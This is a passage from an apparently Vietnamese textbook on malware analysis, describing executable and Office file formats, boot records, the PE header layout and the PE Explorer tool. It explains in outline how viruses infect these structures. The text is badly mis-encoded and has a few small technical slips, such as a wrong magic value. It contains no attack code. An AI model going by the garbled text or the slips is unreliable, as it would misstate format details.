b. BiԜu di֑n l֓nh m§y cֳa 12 byte ĽӺu v¨ c§c l֓nh trong thֳ tֱc kh֫i 

tӴo 

   Trong th֩i kȢ ĽӺu cֳa DOS, do ĽҺn giӶn v¨ nh֛ g֙n n°n Ľ֗nh dӴng 

COM rӸt d ֑b ֗file virus tӸn c¹ng. Do hӴn chԒ vԚ k²ch thҼ֧c v¨ khӶ nŁng 

truy nhԀp b֥ nh֧ n°n c§c hacker Ľ« chuyԜn hҼ֧ng tӸn c¹ng sang Ľ֗nh 

dӴng EXE (Executable File) 

2.1.2.2 ņΠnh dͧ ng EXE (DOS Executable) 

ņ֗nh dӴng EXE cho ph®p m֫ r֥ng k²ch thҼ֧c tԀp tin l֧n hҺn 64KB 

bԄng c§ch sֹ dֱng m֣i ph©n ĽoӴn b֥ nh֧ ri°ng bi֓t cho tַng thanh ghi 

CS, DS, ES, SS. V֧i c§ch t֡ chֵc n¨y, EXE sֹ dֱng cӸu tr¼c ĽӺu file 

(g֙i l¨ EXE header) chֵa th¹ng tin cֳa file v¨ c§c tham s֝ gi¼p h֓ ĽiԚu 

h¨nh Ľ֗nh v֗ b ֥nh֧, tӶi m« l֓nh, dֻ li֓u, ngŁn xԒp v¨ kh֫i tӴo gi§ tr֗ các 

thanh ghi CPU trҼ֧c khi thֽc thi chҼҺng tr³nh.  

L©y v¨o EXE, file virus gh®p m« l֓nh v¨o cu֝i file r֟i ĽiԚu ch֕nh CS:IP 

tr֛ ĽԒn Ľ֗a ch֕ cֳa n·. C§c tԀp EXE c· ĽԊc ĽiԜm nhԀn dӴng nhҼ sau:  

-  Word ĽӺu tԀp tin c· tr֗óMZô hoԊc óZMô  

-  D  ֻli֓u byte, trӶi d¨i tr°n to¨n bӶng m« ASCII (0-255)  
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- Thֳ tֱc kh֫i tӴo tr֛ ĽԒn Ľ֗a ch֕ thֽc tr°n file (Header < CS:IP < 

Filesize)  

Hình x m¹ tӶ cӸu tr¼c ĽӺu file cֳa m֥t tԀp tin EXE ti°u biԜu. Hai byte 

ĽӺu  tiên (4D-5A) biԜu di֑n chu֣i óMZô nhԀn dӴng file EXE. C§c trҼ֩ng 

tiԒp theo chֵa  th¹ng tin file v¨ c§c tham s֝ Ľ֗nh v֗. ņԊc bi֓t trҼ֩ng 3Ch 

c· gi§ tr֗ 00 (không có bӶng th¹ng tin b֡ sung). NԒu kh§c 0, trҼ֩ng n¨y 

chֵ a con tr֛ ĽԒn m֥t header kh§c dùng cho NE-EXE (Windows 16 bit) 

và PE-EXE (Windows 32 bit). C§c Ľ֗nh dӴng n¨y sԐ ĽҼ֯c m¹ tӶ ֫ phӺn 

tiԒp theo. 

 

   Hình 2-6: CӸu tr¼c ĽӺu file cֳa 1 file EXE ti°u biԜu 

2.1.2.3. ņΠnh dͧ ng NE-EXE  

Khi gi֧i thi֓u h֓ ĽiԚu h¨nh Windows 16 bit (Windows 3.xx), Microsoft 

phӶi thay Ľ֡i Ľ֗nh dӴng EXE cho ph½ h֯p v֧i tԀp l֓nh cֳa CPU chӴy 

trong  chԒ Ľ֥ bӶo v֓ hoԊc 386 tŁng cҼ֩ngé Th¹ng tin b֡ sung cho file 

NE-EXE ĽҼ֯c lҼu trֻ trong m֥t cӸu tr¼c ĽӺu file m֧i (g֙i l¨ NE header), 

Ľ֗nh v֗ qua trҼ֩ng 3C cֳa cӸu tr¼c ĽӺu file DOS-EXE cȈ. Header b֡ 

sung n¨y ĽҼ֯c bԂt ĽӺu bԄng hai byte 4E-45 (chu֣i óNEô). C§c trҼ֩ng 

tiԒp theo chֵa th¹ng tin file NE-EXE (v² dֱ file thֽc thi EXE thֽc, hay 

l¨ c§c thҼ vi֓n li°n kԒt Ľ֥ng DLLé) v¨ c§c tham s֝ Ľ֗nh v֗ d¨nh cho h֓ 

th֝ng trong c§c ĽiԚu ki֓n thֽc thi khác nhau.  

Hình  m¹ tӶ cӸu tr¼c ĽӺu file cֳa tԀp tin thi h¨nh trong m¹i trҼ֩ng  

Windows 16 bit. CӸu tr¼c n¨y g֟m hai phӺn. PhӺn ĽӺu l¨ cӸu tr¼c ĽӺu 

file DOS-EXE. PhӺn thֵ hai l¨ cӸu tr¼c ĽӺu file NE-EXE Ľ֗nh v֗ ֫ Ľ֗a 

ch֕ 0080h, l¨ gi§ tr֗ c· trong trҼ֩ng 3C cֳa DOS-EXE. ņӺu NE-EXE 

header l¨ chu֣i nhԀn dӴng óNEô.  

ņ֗nh dӴng NE-EXE c· ĽԊc ĽiԜm nhԀn dӴng nhҼ sau:  

-  Mang ĽԊc trҼng cֳa Ľ֗nh dӴng DOS-EXE  

-  TrҼ֩ng 3C trong cӸu tr¼c ĽӺu file tr֛ ĽԒn cӸu tr¼c ĽӺu file thֵhai  

-  Hai byte ĽӺu ti°n cֳa cӸu tr¼c ĽӺu file thֵhai c· gi§ tr֗4E v¨ 45 (óNEô) 
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    Hình 2-7: CӸu tr¼c ĽӺu file m֥t tԀp tin NE-EXE ti°u biԜu 

  PhӺn tiԒp theo sԐ m¹ tӶ c§ch nhԀn dӴng c§c tԀp tin thi h¨nh trong m¹i 

trҼ֩ng Windows 32 bit, c§c Portable Executable file. 

2.1.2.4 ņΠnh dͧ ng PE-EXE  

Trong HņH Windows 32 bit, EXE ĽҼ֯c thiԒt kԒ lӴi ĽԜ ph½ h֯p v֧i cҺ 

chԒ Ľ֗nh v֗ b֥ nh֧ phԆng (flat memory). Portable Executable (PE-EXE) 

g֟m 2 nh·m:  

Å  C§c ֵng dֱng chֳ(host application): tԀp tin thi h¨nh EXE, OBJ, 

SCRé  

Å  M֫ r֥ng cֳa ֵng dֱng (application extension): g֟m c§c thҼ vi֓n li°n 

kԒt Ľ֥ng DLL (Dynamic Link Library), ĽiԚu khiԜn thiԒt b֗ SYS (system 

driver), c§c ֵng dֱng  ĽiԚu khiԜn CPL (Control Panel Applet), OCX 

(OLE Control  Extension)é MԊc d½ chֵa m« l֓nh nhҼng c§c t֡ chֵc 

n¨y kh¹ng tֽ thֽc thi. Ch¼ng ĽҼ֯c g֙i tַ c§c ֵng dֱng chֳ 

 

 

                   Hinh 2-8:  CӸu tr¼c ĽӺu file m֥t tԀp tin PE-EXE ti°u biԜu 
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Gi֝ng nhҼNE-EXE, PE-EXE l¨ vԀt chֳ cֳa file virus, sâu máy tính và 

trojan horse. ņԊc trҼng nhԀn dӴng cֳa PE-EXE cȈng tҼҺng tֽ NE-EXE 

nhҼ h³nh.  

-  Mang ĽԊc trҼng cֳa Ľ֗nh dӴng DOS-EXE  

-  TrҼ֩ng 3C trong cӸu tr¼c DOS-EXE tr֛ ĽԒn cӸu tr¼c ĽӺu file PE-EXE  

-  Hai byte ĽӺu ti°n cֳa file header c· gi§ tr֗50h v¨ 45h (óPEô)  

CӸu tr¼c ĽӺu file PE-EXE chֵa c§c ĽԊc trҼng thi h¨nh cֳa Ľ֝i tҼ֯ng:  

   FileSize, FileType, FileAttribute, MachineWord, NumberOfSections, 

TimeDateStamp,SizeOfOptionalHeader,Characteristics,MajorLinkerVer

sion,MinorLinkerVersion,SizeOfCode,SizeOfInitializedData,SizeOfUnit

ializedData,RelativeVirtualAddress,BaseOfCode,BaseOfData, 

BaseOfRVA, ImageBase, SectionAlignment, FileAlignment,  

MajorOSVersion,MinorOSVersion,MajorImageVersion, 

MinorImageVersion,MajorSubSystemVersion, MinorSubSystemVersion, 

SizeOfImage,SizeOfHeader,FileChecksum,SubSystem, 

DLLCharacteristics, SizeOfStackReserve,  

SizeOfStackCommit,SizeOfHeapReserve,SizeOfHeapCommit, 

LoaderFlags,NumberOfRvaAndSize,VirtualSize,VirtualAddress, 

SizeOfRawData,PointerToRawData,PointerToRelocation, 

PointerToLineNumber, NumberOfRelocations,  

NumberOfLineNumbers, AddressOfEntryPoint... 

 

 

2.1.3 TԀp tin Office 

C§c tԀp tin tҼ li֓u (document files) l¨ c§c tԀp dֻ li֓u ngҼ֩i d½ng b֥ công 

cֱ Microsoft Office (BӶng P2.4). ņ©y l¨ Ľ֝i tҼ֯ng l©y nhi֑m cֳa virus 

macro, loӴi  virus sֹ dֱng tԀp l֓nh macro VBA (Visual Basic 

Application) cֳa Microsoft. Ngo¨i Ľ֝i tҼ֯ng l©y nhi֑m ch²nh l¨ c§c tԀp 

tin DOC, XLS v¨ PPT; c§c tԀp tin template v¨  add-in cȈng l¨ nҺi ñtr¼ 

ngֱò rӸt t֝t cho virus macro. LҼu trֻ nhiԚu Ľ֝i tҼ֯ng nh¼ng  phֵc tӴp 

(h³nh Ӷnh, ©m thanh, bӶng biԜu, Ľ֟ th֗é), c§c tԀp tin Office thҼ֩ng rӸt 

l֧n (v¨i trŁm KB ĽԒn h¨ng chֱc MB). ņԜ ti֓n truy xuӸt, Microsoft t֡ 
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chֵc c§c tԀp tin n¨y theo ĽҺn v֗ paragraph 512 byte. ņԊc ĽiԜm nhԀn 

dӴng c§c tԀp tin n¨y nhҼ sau:  

-  K²ch thҼ֧c tԀp tin l¨ b֥i s֝ cֳa 512  

-  Chu֣i nhԀn dӴng ĽӺu file: D0-CF-11-E0-A1-B1-1A-E1-00-00-00-00 

 

  Hinh 2-9 : C§c tԀp tin MsOffice c· thԜ b֗ nhi֑m virus 

 

2.1.4 TԀp tin kh i֫ Ľn֥g  

Trong kiԒn tr¼c m§y t²nh IBM-PC, mӾu tin kh֫i Ľ֥ng (boot record) 

(MTKņ) l¨ c§c t֡ chֵc thֽc thi tr°n c§c ĽҺn v֗ lҼu trֻ cֳa thiԒt b֗ nh֧ 

ngo¨i (BӶng P2.5). Nhi֓m vֱ cֳa MTKņ l¨ kh֫i tӴo c§c th¹ng s֝ k׃ 

thuԀt cֳa thiԒt b֗ v¨ thֽc hi֓n c§c tiԒn tr³nh xֹ lĨ tiԒp theo. C· hai loӴi 

boot record: MTKņ Ľǫa cֵng (master boot cֳa Ľǫa cֵng)  v¨ MTKņ h֓ 

ĽiԚu h¨nh (boot sector cֳa Ľǫa cֵng v¨ Ľǫa mԚm). 

 

              Hinh 2-10: C§c t֡ chֵc kh֫i Ľ֥ng c· thԜ nhi֑m virus 
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2.1.4.1 M u͵ tin khεi Ľίng Ľǫa cοng (master boot) 

M֣i ֡ Ľǫa cֵng c· thԜ ĽҼ֯c chia t§ch luԀn lĨ th¨nh c§c ph©n khu 

(partition). C· t֝i Ľa b֝n ph©n khu cho m֣i ֡ vԀt lĨ, nhҼng ch֕ c· m֥t 

ph©n khu ĽҼ֯c ch֙n l¨m ph©n khu hoӴt Ľ֥ng (active partition), l¨ ph©n 

khu chֵa h֓ ĽiԚu h¨nh cֳa h֓ th֝ng.  

 

 

Hinh 2-11: T֡ chֵc Ľǫa cֵng trҼ֧c khi nhi֑m BootVirus 

 

Hinh 2-12: T֡ chֵc Ľǫa cֵng sau khi nhi֑m BootVirus 

MӾu tin kh֫i Ľ֥ng Ľǫa cֵng c· nhi֓m vֱ ph©n t²ch c§c ph©n khu dֻ li֓u, 

t³m  v¨ tӶi boot sector tr°n ph©n khu hoӴt Ľ֥ng cֳa Ľǫa cֵng v¨o b֥ nh֧ 
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r֟i trao quyԚn cho n·. H³nh minh h֙a cӸu tr¼c Ľǫa cֵng, v֗ tr² v¨ vai tr¸ 

cֳa c§c MTKņ.  

H³nh m¹ tӶ h³nh Ӷnh ֡ Ľǫa cֵng nhi֑m boot virus, loӴi l©y v¨o master 

boot. 

2.1.4.2  M u͵ tin khεi Ľίng hΜ ĽiΖu hành (boot sector) 

Boot sector c· tr°n m֙i Ľǫa mԚm v¨ c§c ph©n khu Ľǫa cֵng. Khi nhԀn 

quyԚn tַ master boot (hoԊc kh֫i Ľ֥ng m§y tַ Ľǫa mԚm), boot sector sԐ 

t³m HņH, nӴp v¨o  b֥ nh֧ r֟i trao cho HņH tiԒp tֱc qu§ tr³nh kh֫i Ľ֥ng.  

H³nh minh h֙a cӸu tr¼c Ľǫa mԚm, v֗ tr² v¨ vai tr¸ cֳa MTKņ h֓ ĽiԚu 

h¨nh tr°n Ľǫa mԚm. H³nh  xxx m¹ tӶ h³nh Ӷnh Ľǫa mԚm nhi֑m boot virus. 

V² dֱ n¨y cȈng Ľ¼ng cho trҼ֩ng h֯p boot virus l©y v¨o boot sector cֳa 

Ľǫa cֵng. 

 

Hình 2-13: T֡ chֵc Ľǫa mԚm trҼ֧c khi nhi֑m Virus  
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Hình 2-14: T֡ chֵc Ľǫa mԚm sau khi nhi֑m Virus 

 

2.2 CӸu trúc chi tiԒt Ľ֗nh dӴng PeFile 

   NhҼ Ľ« th֝ng k° trong chҼҺng 1 hi֓n nay m« Ľ֥c tr°n h֓ ĽiԚu h¨nh 

Windows 32bit vӾn ph֡ biԒt nhӸt, hi֓n nay c· rӸt nhiԚu nh·m chuy°n 

viԒt mã Ľ֥c tr°n Windows Xp, Windows 7, Windows Server. V¨ Ľ֗nh 

dӴng ph֡ biԒn cֳa m« Ľ֥c n¨y thҼ֩ng ֫ dӴng PE file. V³ thԒ sinh vi°n 

cӺn hiԜu Ľ֗nh dӴng n¨y ĽԜ gi¼p ²ch cho vi֓c hiԜu v¨ ph©n t²ch m« Ľ֥c 

sau này. DҼ֧i Ľ©y l¨ t°n m֥t s֝ c¹ng cֱ gi¼p ²ch cho sinh viên phân tích 

Ľ֗nh dӴng Pefile.   

C¹ng cֱ PE Explorer ï ChҼҺng tr³nh chӴy tr°n m¹i trҼ֩ng Windows. 

Chֵc nŁng cֱ thԜ phӺn mԚm n¨y c· thԜ gi¼p ngҼ֩i ph©n t²ch:  

ņ֙c, xem v¨ ch֕nh sֹa n֥i dung trong Ľ֗nh dӴng PE file, nhҼ EXE, DLL, 

Active X Controls, SCR,CPL, SYS, MSSTYLES, BPL, DPL..    

H  ֣tr֯ l¨m vi֓c ph©n t²ch v֧i c§c file b֗ l֣i trong chԒ Ľ֥ SafeMode 

H֣ tr֯ t²nh nŁng kiԜm tra t²nh to¨n vԌn cֳa PE files 

H֣ tr֯ t²nh nŁng sֹa gi§ tr֗ Entry Point 

Ch֕nh sֹa c§c thu֥c t²nh cֳa file EXE v¨ DLL file 

H֣ tr֯ giӶi n®n UPX, Upack, NSPack 

- ... 
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   Hình 2-15: T֡ng quan chҼҺng tr³nh PeExplorer 

M֥t s֝ t²nh nŁng quan tr֙ng nhҼ c§c th¹ng tin vԚ Export, Import v¨ 

Delay Import Table cho ph®p ngҼ֩i ph©n t²ch c· thԜ thӸy to¨n b֥ c§c 

h¨m b°n ngo¨i m¨ File thֽc thi sֹ dֱng (c§c file DLL m¨ file g֙i ĽԒn). 

M֥t t²nh nŁng kh§ ti֓n dֱng hֻu ²ch l¨ Syntax Viewer, chֵc nŁng n¨y sԐ 

hiԜn th֗ c§ch thֵc g֙i c§c h¨m trong file PE. M¨n h³nh ch²nh chҼҺng 

tr³nh PE Explorer Export Analyzer nhҼ sau (chֵc nŁng Quick Function 

Syntax Look) 
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Hình 2-16: M¨n h³nh hiԜn th֗ PE explorer 

T½y ch֙n Resource Editor 

T½y ch֙n Resource Editor gi¼p ngҼ֩i ph©n t²ch c· thԜ nh³n thӸy to¨n b֥ 

c§c th¹ng tin  vԚ bitmaps, jpeg,... v¨ cho ph®p ngҼ֩i ph©n t²ch c· thԜ sֹa 

lӴi th¹ng tin m¨ kh¹ng cӺn phӶi bi°n d֗ch lӴi m« ngu֟n. 
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Hình 2-17: M¨n h³nh hiԜn th֗ chֵc nŁng Resource 

 

T½y ch֙n  Section Headers Viewer 

PE Explorer cho ph®p ngҼ֩i ph©n t²ch c· thԜ xem ĽҼ֯c s֝ lҼ֯ng c§c 

sections, t°n c§c sections, k²ch thҼ֧c v¨ c§c th¹ng tin thu֥c t²nh. NgҼ֩i 

ph©n t²ch c· thԜ tr²ch xuӸt, Ľ֡i t°n, t²nh to§n lӴi cho ph½ h֯p, c· thԜ x·a 

c§c sections Ľi tַ th©n chҼҺng tr³nh  

  



55 

 

 

Hình 2-18: M¨n h³nh hiԜn th֗ Section Headers Viewer 

 

T½y ch֙n Section Editor 

Vi֓c kh¹i phֱc lӴi gi§ tr֗ ban ĽӺu cֳa section (gi§ tr֗ offset trong dֻ li֓u 

thԀt) trong file kh¹ng phӶi l¨ vi֓c ĽҺn giӶn. Trong nhiԚu trҼ֩ng h֯p vi֓c 

kh¹i phֱc n¨y c¸n phֱ thu֥c v¨o cӶm t²nh v¨ phӶi ĽҼa c§c ĽiԚu ki֓n giӶ 

thiԒt m֧i c· thԜ kh¹i phֱc ĽҼ֯c. NhҼng c¹ng vi֓c n¨y c· thԜ thֽc hi֓n 

tֽ Ľ֥ng ĽҼ֯c nh֩ t²nh nŁng Section Editor n¨y. 
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Hình 2-19 : HiԜn th֗ THÔng tin Section Editor  

 

T²nh nŁng Disassembler 

PE Explorer Disassembler  l¨ m֥t ti֓n t²ch ĽҼa file PE vԚ dӴng m« 

ngu֟n Assembly. 
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Hình 2-20:  HiԜn chֵc nŁng PE Explorer Disassembly  

T²nh nŁng Dependency Scanner 

Dependency Scanner hiԜu th֗ to¨n b֥ c§c file DLL m¨ file PE g֙i ĽԒn 

khi thֽc thi.   
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Hình 2-21 : HiԜn th֗  tính nŁng Dependency Scanner 

 

Tr°n Ľ©y l¨ m֥t s֝ t²nh nŁng cҺ bӶn PE Explorer, ph©n tiԒp theo sԐ m¹ 

tӶ k׃ Ľ֗nh dӴng PE file, 

2.2.1 ņ֗nh nghǫa PE  

PE viԒt tԂt cֳa  Portable Executable l¨ m֥t Ľ֗nh dӴng file cho các file  

exe, Object code, dll  tr°n h֓ ĽiԚu h¨nh Windows 32 bit. ņ֗nh dӴng PE 

file l¨ m֥t cӸu tr¼c dֻ li֓u trong Ľ· chֵa c§c th¹ng tin cӺn thiԒt ĽԜ 

loader cֳa Windows c· thԜ quӶn lĨ v¨ thֽc thi ĽҼ֯c c§c l֓nh trong Ľ·. 

ņ֗nh dӴng n¨y ĽҼ֯c ph§t triԜn dֽa tr°n Ľ֗nh dӴng UNIX COFF 

(Common Object File Format), hi֓n gi֩ phӺn m֫ r֥ng cֳa PE file c· 

dӴng nhҼ sau: exe, dll, src, bpl, dpl , cpl, ocx, acm, ax. 
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2.2.2 CӸu trúc PE file  

CӸu tr¼c chung cֳa 1 PE file thҼ֩ng sԐ c· 2 Sections: 1 l¨ cho ĽoӴn m« 

(code) v¨ 1 cho phӺn dֻ li֓u (data). M֥t chҼҺng tr³nh ֵng dֱng chӴy 

tr°n nԚn tӶng Windows NT c· 9 sections ĽҼ֯c x§c Ľ֗nh trҼ֧c c· t°n 

nhҼ: .text, .bss, .rdata, .data, .rsrc, .edata, .idata, .pdata và .debug 

                                     

Hình 2-22: CӸu tr¼c PE file 

2.2.2.1.Dos header 

 V½ng n¨y chiԒm 64 bytes ĽӺu ti°n cֳa file. Trong v½ng n¨y c· 2 gi§ tr֗ 

quan tr֙ng l¨ e_magic(0x5a4b) v¨ e_lfanew l¨ m֥t DWORD( 4bytes), 

gi§ tr֗ nԄm trong 4 bytes n¨y chֵa offset ĽԒn PE file header( offset 3C). 

2.2.2.2 PE header 

 ņӺu ti°n windows loader sԐ Ľ֙c ֫ phӺn MZ header gi§ tr֗ e_magic 

nhԄm xem file c· h֯p l֓ hay kh¹ng.TiԒp theo windows loader sԐ Ľ֙c gi§ 

tr֗ e_flanew, windows loader sԐ b֛ qua lu¹n phӺn dostub v¨ nhӶy ĽԒn PE 

header. 
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 PE g֟m 3 th¨nh phӺn ĽҼ֯c Ľ֗nh nghǫa trong file windows.inc: signature, 

fileheader, optionalheader 

 Signature l¨ m֥t DWORD lu¹n c· gi§ tr֗ 0x4550, nh³n tַ gi§ tr֗ cֳa 

e_flanew. 

 Fileheader g֟m 20 bytes tiԒp theo chֵa th¹ng tin vԚ sҺ Ľ֟ vԀt l² v¨ 

nhֻng ĽԊc t²nh cֳa file 

 Optional header g֟m 224 bytes tiԒp theo, chֵa nhֻng th¹ng tin vԚ sҺ 

Ľ֟ logic b°n trong cֳa PE file. 

 File header 

 Nhֻng th¹ng tin quan tr֙ng b°n trong l¨ numberofsection v¨ 

Characteristics. 

 Numberofsection  thay Ľ֡i phӺn n¨y nԒu nhҼ mu֝n th°m hoԊc x·a 

Section trong file PE( các m« Ľ֥c quan t©m ĽԒn trҼ֩ng n¨y v² dֱ nhҼ 

tŁng trҼ֩ng th°m 1 sau Ľ· ch¯n th°m th©n cֳa n· v¨o trong section n· 

khai báo th°m nhҼ vԀy m« Ľ֥c Ľ« chiԒm ĽҼ֯c file). 

 Characteristics bao g֟m c§c c֩ x§c Ľ֗nh nhֻng thԜ hi֓n ĽԜ ch¼ng ta 

l¨m vi֓c l¨ m֥t file thֽc thi(executable) hay m֥t file Dll. 

 Ta c· thԜ x§c Ľ֗nh c§c v֗ tr² n¨y bԄng c§c c¹ng cֱ nhҼ  Hex, hoԊc Peid, 

LordPEé 

 Optionalheader 

 C§c th¨nh phӺn quan tr֙ng b°n trong Optionalheader 

AddressofEntryPoint 

RVA( Ľ֗a ch֕ Ӷo tҼҺng Ľ֝i) cֳa c©u l֓nh ĽӺu ti°n, n· tr֛ v¨o Ľ©u 

th³ Ľ· l¨ c©u l֓nh ĽӺu ti°n cֳa chҼҺng tr³nh ĽҼ֯c loader cֳa h֓ ĽiԚu 

h¨nh. NԒu m֥t file nguy°n thԜ th³ sԐ tr֛ t֧i ĽiԜm ĽӺu ti°n chӴy thԀt cֳa 

chҼҺng tr³nh nԄm trong section .text hay code(ĽiԜm chӴy n¨y g֙i l¨ 

OEP: Original EntryPoint).ņ֝i v֧i 1 file virus quӶn l², n· sԐ th°m 1 

section .text v¨o sau Ľ· cho trҼ֩ng tr֛ v¨o virus body. ņ©y l¨ m֥t trong 

nhֻng trҼ֩ng quan tr֙ng v³ trҼ֩ng n¨y sԐ thay Ľ֡i hӺu hԒt c§c kiԜu l©y 

nhi֑m virus ĽԜ tr֛ t֧i ĽiԜm thֽc thi thֽc sֽ cֳa virus code. 

ImageBase Ľ֗a ch֕ nӴp ĽҼ֯c Ҽu ti°n cho PE file, Windows loader 

sԐ c֝ gԂng §nh xӴ v¨o v½ng nh֧ Ӷo c· Ľ֗a ch֕ bԂt ĽӺu tӴi Imagebase. C©u 
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l֓nh kh֫i ĽӺu tr°n b֥ nh֧ Ӷo c· Ľ֗a ch֕:OEP( tr֛ ĽԒn c©u l֓nh kh֫i 

ĽӺu)+image. 

SectionAligment kh¹ng gian cֳa section trong b֥ nh֧ Ӷo, file thֽc 

thi ĽҼ֯c §nh xӴ l°n b֥ nh֧ Ӷo th³ sԐ bԂt ĽӺu l¨ b֥i s֝ cֳa gi§ tr֗ n¨y, 

thҼ֩ng nh֛ nhӸt l¨ 0x1000. 

FileAligment Ľ֥ r֥ng cֳa section tr°n file sԐ l¨ b֥i s֝ cֳa trҼ֩ng 

này( v² dֱ FileAligment c· gi§ tr֗ 0x200-> section tiԒp theo sԐ bԂt ĽӺu 

th³ tӴi v֗ tr² trҼ֧c+0x200 hay m֥t t²ch cֳa 0x200 v֧i m֥t s֝ nguy°n). 

SectionofImage bԄng size cֳa tӸt cӶ c§ch header+ dung lҼ֯ng thԀt 

cֳa c§c section li°n kԒt trong trҼ֩ng sectionaligment. 

Sizeofheader k²ch thҼ֧c cֳa tӸt cӶ c§c header+sectiontable. 

DataDirectory m֥t mӶng 16 IMAGE_DATA_DIRECTORY m֣i 

phӺn c· li°n quan ĽԒn cӸu tr¼c dֻ li֓u trong PE file nhҼ import address 

table. 

Ta c· thԜ quan s§t c§c th¨nh phӺn n¨y trong Peid, LordPE,é 

           

Hình 2-23 : Quan s§t v֗ tr² c§c th¨nh phӺn v֧i PEid 

 ChiԒm 128 bytes cu֝i c½ng trong Optionalheader v¨ lӺn lҼ֯t l¨ nhֻng 

th¨nh phӺn cu֝i c½ng cֳa PE header IMAGE_NT_HEADERS. 

 CӸu tr¼c trong data directory g֟m c· 2 th¨nh phӺn m¨ bao g֟m th¹ng 

tin vԚ v֗ tr² v¨ k²ch thҼ֧c l¨ virtualaddress v¨ isize. 

 Virtualaddress l¨ m֥t Ľ֗a ch֕ Ӷo tҼҺng Ľ֝i cֳa cӸu tr¼c dֻ li֓u. 

 Isize bao g֟m k²ch thҼ֧c theo byte cֳa cӸu tr¼c dֻ li֓u.                      
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2.2.2.3 Section table 

  L¨ th¨nh phӺn tiԒp theo sau PE header. N· l¨ m֥t mӶng cֳa nhֻng cӸu 

tr¼c IMAGE_SECTION_HEADER, m֣i ph©n tַ sԐ chֵa th¹ng tin vԚ 

m֥t section trong PE file( v² dֱ nhҼ thu֥c t²nh cֳa n· v¨ virtual offset). 

 C§c th¨nh phӺn quan tr֙ng trong section table 

 Name t°n ch֕ m֥t nh«n hoԊc c· thԜ tr֝ng. 

 Virtualsize( DWORD) k²ch thҼ֧c cֳa section sau khi ĽҼ֯c nӴp v¨o b֥ 

nh֧. 

 Virtualaddress RVA cֳa section, tr³nh PE loader sԐ ph©n t²ch v¨ sֹ 

dֱng gi§ tr֗ trong trҼ֩ng h֯p khi n· §nh xӴ section trong b֥ nh֧. 

 Sizeofrawdata k²ch thҼ֧c cֳa section trong file tr°n Ľǫa. 

 Pointertorawdata( raw offset) th¨nh phӺn n¨y l¨ offset tַ v֗ tr² bԂt ĽӺu 

cֳa file cho t֧i phӺn sectionôs data. NԒu c· gi§ tr֗ 0, th³ sectionôs data 

kh¹ng ĽҼ֯c chֵa trong file v¨ sԐ kh¹ng b֗ b· bu֥c v¨ th֩i gian load. 

 Characteristics bao g֟m c§c c֩ executbale code, initialized data, 

uninitialized. 

       

Hình 2-24: Các giá tr֗ trong bӶng section table 

2.2.2.4 PE file section 

 L¨ nhֻng section chֵa n֥i dung ch²nh cֳa file, bao g֟m code, data, 

resources v¨ nhֻng th¹ng tin kh§c cֳa file thֽc thi. M֣i section c· m֥t 

header v¨ m֥t rawdata( dֻ li֓u chҼa ĽҼ֯c xֹ l² hoԊc chҼa ĽҼ֯c Ľ֗nh 

khu¹n thֵc, n· chҼa ĽҼ֯c sԂp xԒp, bi°n tԀp sֹa chֻa hoԊc chҼa ĽҼ֯c 

biԜu di֑n dҼ֧i dӴng d֑ t³m kiԒm). Nhֻng section header th³ ĽҼ֯c chֵa 

trong section table. 

M֥t chҼҺng tr³nh ֵng dֱng ĽԊc thù trên Windows: 

Executable code section l¨ c§c ĽoӴn m«( code segment) tԀp trung 

v¨o m֥t section ĽҺn lԎ .text hoԊc Code. Tַ khi widows chuyԜn sang sֹ 
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dֱng m֥t h֓ th֝ng quӶn l² b֥ nh֧ Ӷo tr°n trang, th³ c· m֥t section code 

l֧n hҺn d֑ d¨ng hҺn trong vi֓c quӶn l² v֧i h֓ th֝ng ĽiԚu h¨nh. Section 

n¨y cȈng l¨ ĽiԜm entry point v¨ bӶng jump thunk table tr֛ t֧i IAT. 

Data section chֵa section .rdata biԜu di֑n dֻ li֓u ch֕ Ľ֙c( read-

only) v² dֱ nhҼ c§c chu֣i, hԄng, th¹ng tinétӸt cӶ c§c biԒn kh§c ngo¨i 

biԒn tֽ Ľ֥ng m¨ ch֕ xuӸt hi֓n trong stack th³ ĽҼ֯c lҼu trֻ ֫ section .data. 

Resources section section .rsrc chֵa th¹ng tin resource cho m֥t 

module, 16 bytes ĽӺu ti°n g֟m m֥t header gi֝ng nhҼ c§c section kh§c, 

nhҼng dֻ li֓u cֳa section n¨y ĽҼ֯c cӸu tr¼c v¨o trong m֥t resource tree 

v¨ ĽҼ֯c quan s§t bԄng resource editor. 

Export data section section .edata chֵa Export Directory cho m֥t 

chҼҺng tr³nh ֵng dֱng hoԊc file dll. Khi biԜu di֑n, section n¨y bao g֟m 

c§c th¹ng tin v¨ Ľ֗ac ch֕ cֳa nhֻng h¨m exported function. 

Import data section .idata chֵa nhֻng th¹ng tin kh§c nhau vԚ h¨m 

ĽҼ֯c import directory v¨ bӶng import address table. 

2.2.2.5 Export section 

 Section n¨y c· li°n quan ĽԒn c§c file Dll. C§c h¨m c· thԜ ĽҼ֯c export 

thông b֫i 1 Dll theo 2 c§ch ñ by nameò hoԊc ñ by ordinal onlyò. 

 V֗ tr² bԂt ĽӺu trong bӶng Data Directory ñ signature+78ò. 

 CӸu tr¼c export ĽҼ֯c g֙i l¨ IMAGE_EXPORT_DIRECTORY, b°n 

trong cӸu tr¼c n¨y c· c§c th¨nh phӺn quan tr֙ng sau: 

 Name internal name cֳa module 

 nBase bԂt ĽӺu lӸy s֝ thֵ tֽ hay s֝ ch֕ s֝( trҼ֩ng n¨y ĽҼ֯c sֹ dֱng ĽԜ 

lӸy nhֻng index trong address-of-function array). 

 NumberOfFuntion t֡ng s֝ c§c h¨m m¨ ĽҼ֯c export b֫i module. 

 NumberOfName s֝ lҼ֯ng c§c symbols ĽҼ֯c export bԄng name, gi§ tr֗ 

này kh¹ng phӶi l¨ s֝ lҼ֯ng cֳa tӸt cӶ c§c h¨m/symbols trong module. ņԜ 

lӸy ĽҼ֯c con s֝ n¨y ta cӺn phӶi kiԜm tra NumberOfFuntcion. 

 AdressofFuntion m֥t RVA tr֛ t֧i mӶng cֳa c§c con tr֛ t֧i c§c h¨m 

trong module Export Address Table( EAT). 

 AdressofName m֥t RVA tr֛ t֧i mӶng cֳa c§c RVA cֳa t°n h¨m ĽҼ֯c 

lҼu trong module Export Name Tabel( ENT). 
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 AdressofNameOrdinals m֥t RVA tr֛ t֧i mӶng 16 bit m¨ chֵa c§c 

ordinals cֳa c§c named fuction Export Oridinal Table( EOT). 

Trong cӸu tr¼c IMAGE_EXPORT_DIRECTORY tr֛ t֧i 3 mӶng 

v¨ m֥t bӶng nhֻng chu֣i k² tֽ ASCII. MӶng quan tr֙ng l¨ EAT, v³ n· l¨ 

